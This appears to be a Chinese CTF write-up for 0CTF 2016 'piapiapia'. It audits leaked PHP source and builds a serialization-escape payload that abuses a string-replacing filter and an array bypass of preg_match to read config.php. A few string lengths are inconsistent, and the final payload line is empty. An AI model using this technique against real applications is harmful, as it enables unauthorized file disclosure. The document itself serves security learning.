[0CTF 2016]piapiapia
[0CTF 2016]piapiapia
考点
反序列化逃逸
wp
www.zip泄露源码,下载审计。
index.php有登录功能,先看index.php。包含class.php,使用session判断是否登录,登录了就跳转profile.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}然后到登录功能,获取的username和password长度必须在[3,16]这个区间内,然后使用$user->login判断账号密码是否正确,这个函数在class.php中。
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;}
else { die('Invalid user name or password'); }
}else{}到class.php找$user的定义。在config.php中定义了flag和$config数组用于保存MySQL连接的相关参数。
在mysql::filter()处把'和\\替换成_,把select,insert,update,where和delete替换成hacker,可能会有反序列化逃逸。
user::login()先对POST的数据用mysql::filter()进行替换,然后在mysql::select()判断账号密码是否正确
再看注册,和登录要求类似,取的username和password长度必须在[3,16]这个区间内。然后调用user::is_exists判断用户是否村,调用user::register函数进行注册
user::is_exists()对输入进行mysql::filter()替换,再去执行mysql::select()判断用户是否存在
user::register()对输入进行mysql::filter()替换,再去执行mysql::insert()插入新用户
然后看profile.php,调用user::show_profile()函数获取profile,然后反序列化profile,获取phone,email和nickname三个属性,最后读取photo属性对应的文件
user::show_profile()
还有最后一个update.php,POST获取phone,email和nickname三个属性,然后获取上传的photo文件。phone是11位数字,email只由字母数字下划线组成,nickname只由字母数字下划线组成,并且长度不超过10。
这里前面两个preg_match都是有!表示取逆,第三个nickname的限制就没有,也就是这里返回FALSE,而传入数组preg_match会使返回FALSE,这就绕过限制了。
对于上传的文件,没有过滤,保存为md5(name),也没有后缀。然后将上传的内容(四个字段),再使用user::update_profile()执行update语句,进行更新。
user::update_profile()
在update.php页面更新profile的时候对profile进行serialize操作,在profile.php读取profile时进行反序列化操作,并且更新profile会使用mysql::filter()进行替换,因此会导致PHP的反序列化逃逸。在profile.php读取profile时,会把profile中photo字段对应的文件读取并输出,所以这里逃逸只要修改profile['photo']为config.php即可。
这是正常序列化的结果
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:4:"test";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}
目标结果
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:4:"hacker";s:5:"photo";s:10:"config.php";}
如果nickname输入3个where,经过filter函数处理后结果如下
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:15:"hackerhackerhacker";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}
这样就逃逸了3个字符,目标是逃逸34个字符,那就需要34个where
payload测试
得到结果
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}
payload:

再去访问profile.php查看图片的内容即可

最后更新于